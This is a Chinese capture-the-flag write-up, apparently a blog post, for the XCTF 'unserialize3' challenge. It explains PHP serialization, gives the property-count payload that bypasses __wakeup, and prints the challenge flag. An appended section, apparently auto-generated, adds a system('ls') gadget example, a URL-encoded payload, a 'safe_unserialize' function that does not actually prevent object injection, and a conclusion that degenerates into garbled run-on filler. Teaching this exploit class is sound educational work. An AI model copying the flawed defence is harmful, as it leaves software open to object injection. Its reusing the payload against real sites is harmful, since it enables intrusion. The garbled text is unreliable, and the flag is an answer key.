攻防世界-web-unserialize3

本文深入探讨PHP反序列化漏洞原理,通过具体实例展示如何利用变量数量差异绕过__wakeup方法,最终获取目标数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

首先看题目:

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

题目给的提示已经很明显了,是php的反序列化漏洞。
首先补充一下序列化和反序列化的相关知识,序列化和反序列化可以简单理解为一个打包和解包的过程(个人理解),就是通过这一过程将一个东西转变成另外一种形式(本质是一样的),这样转换的目的是便于传输或者有其他功能。在php中,序列和和反序列化有两个函数如下:
serialize()将一个对象转换成一个字符串。
unserialize()将字符串还原为一个对象。
这两个方法是如何使用的呢?先看代码

class test
{
	public $id;
	private $name;
	public function __construct($name,$id)
	{
	    $this->id = $id;
		$this->name = $name;
	}
	public function print()
	{
		echo $this->name.PHP_EOL;
	}
	public function __sleep()
	{
	//序列化之前执行,设置序列化哪些变量
		return ["id","name"];
	}
	public function __wakeup()
	{
	//反序列化之前执行,设置变量的值
		$this->name = 'xiaowang';
	}
}

$obj = new test('xiaozhang',1);
$obj->print();//此时的名字叫小张
$sStr = serialize($obj);
echo $sStr.PHP_EOL;
$str = unserialize($sStr);
$str->print();//此时的名字叫小王

test对象里面有两个变量和一个方法,在序列化之后
"O:4:"test":2:{s:2:"id";i:1;s:10:"testname";s:9:"xiaozhang";}"可以看到只序列化对象及里面的变量,方法不管。O代表对象,4表示对象名的长度,test是对象名,2里面有两个值,注意private变量序列化之后变成对象名+变量名,而且长度多了2位,testname的长度为8,现在是10,原因在于test前后多了%00,便于区分,即%00test%00name
反序列化利用有很多姿势,这个题目主要是利用了在某些版本(偷懒了)的php中,待反序列化的字符串中变量的个数(例子中test后面的2)超过了实际test类中变量的个数,__wakeup()方法会直接跳过不执行。
我们回过头来看题目

class xctf{
public $flag = '111';
public function __wakeup(){
exit('bad requests');
}
?code=

xctf类有1个变量,首先序列化一下xctf实例。

$obj = new xctf();
$str = serialize($obj);
echo $str;

打印出结果为O:4:"xctf":1:{s:4:"flag";s:3:"111";},题目中给出了很明显的提示?code=,直接输入?code=O:4:"xctf":2:{s:4:"flag";s:3:"111";},把1改为2。就绕过了wakeup方法,不会exit出去得到flag。
the answer is : cyberpeace{218162f9f1d3b48f5b25354d8a6da945}

### PHP `unserialize` 函数的安全漏洞及其攻防技巧 #### 背景介绍 PHP 的 `unserialize()` 函数用于反序列化字符串并将其转换为相应的对象或数组。然而,在某些情况下,如果输入数据未经过严格验证,则可能导致安全问题。例如,当恶意用户能够控制传入的数据时,可能触发特定类中的魔术方法(如 `__wakeup()` 或 `__destruct()`),从而执行任意代码。 在实际应用中,开发者通常会忽略对用户提交数据的校验,这使得攻击者有机会通过精心构造的 payload 来利用这些漏洞[^2]。 #### 漏洞原理分析 考虑以下场景:程序允许外部用户提供已序列化的字符串作为参数,并直接调用了 `unserialize()` 方法处理该参数。假设存在如下定义的一个简单类: ```php class Example { public $data; public function __construct($value) { $this->data = $value; } public function __wakeup() { if ($this->data === 'trigger') { system('ls'); // 执行系统命令 } } } ``` 如果攻击者可以提供类似于下面这样的序列化字符串: ```plaintext O:7:"Example":1:{s:4:"data";s:7:"trigger";} ``` 那么一旦被反序列化,就会激活 `__wakeup()` 魔术方法内的逻辑,进而引发潜在危害行为的发生[^3]。 #### 实战案例解析 针对上述提到的情况,这里给出一个具体的实例说明如何防范此类风险。假设有这样一个 URL 请求包含了未经过滤便进入业务流程的部分: ``` ?code=O%3A8%3A"xctf"%3A1%3A%7Bs%3A4%3A"flag"%3Bb%3A1%3B%7D ``` 此时服务器端接收到此请求后如果没有做任何防护措施的话,就极有可能因为调用到了不恰当的对象属性而导致异常退出等问题出现。因此我们需要采取一定手段加以规避,比如引入白名单机制或者重写相关敏感操作等等方式来增强系统的安全性。 另外值得注意的是,在一些特殊条件下即使看似无害的操作也可能隐藏着巨大威胁。比如说SQL注入测试过程中经常使用的ORDER BY语句片段组合而成的大数值试探法虽然表面上看不出来有什么明显错误之处,但实际上却反映了数据库结构设计上的不合理性以及查询构建过程缺乏足够的鲁棒性的事实情况;而这种情况同样适用于其他类型的渗透尝试当中去发现更多深层次隐患所在[^4]。 #### 编程实践建议 为了有效防止因不当使用 `unserialize()` 导致的各种安全事故的发生,可以从以下几个方面入手改进现有代码质量水平: - **输入验证**: 对所有来自客户端的数据进行全面细致地检查确认其合法性后再进一步加工运算; - **最小权限原则**: 确保运行环境下的各个组件都只拥有完成各自任务所必需最低限度的权利范围即可满足日常需求而不至于造成不必要的麻烦困扰; - **更新依赖库版本**: 及时跟踪官方发布的补丁信息并将项目组内部正在维护的产品升级到最新稳定状态以减少遭受未知零日漏洞袭击的可能性几率降低至可接受范围内为止。 ```php // 输入验证示例 function safe_unserialize($serialized_data){ if (is_string($serialized_data)) { @ini_set('unserialize_callback_func', '__php_incomplete_class'); try{ return unserialize(trim(stripslashes($serialized_data))); }catch(Exception $e){ error_log("Unserialization failed:".$e->getMessage()); return false ; } }else{ return null ; } } $unsafe_input=$_POST['code']; $safe_output=safe_unserialize($unsafe_input); if(!$safe_output){die('Invalid input detected!');} print_r($safe_output); ``` ### 结论总结 综上所述可以看出,合理运用好编程语言自带的功能特性固然重要,但是更加不可忽视的是围绕它们周边建立起一套完善可靠的防御体系框架才是长久之计。只有这样才能真正意义上做到既提高了工作效率又保障了整体网络空间生态健康持续发展下去的目标追求方向不变偏离轨道之外越走越远直至最终实现理想愿景成果落地开花结果圆满成功结束全文叙述内容部分到这里告一段落谢谢大家耐心阅读完毕以上全部材料资料参考资料链接地址列表如下所示供有兴趣的朋友自行查阅学习参考借鉴吸收转化提升自我综合能力素质修养层次境界高度宽度广度深度厚度等方面均有不同程度的进步成长收获满满值得期待未来无限美好前景光明灿烂辉煌无比壮观壮丽宏伟浩瀚辽阔宽广博大精深奥妙无穷尽矣哉乎也焉耳矣!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wallacegen

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值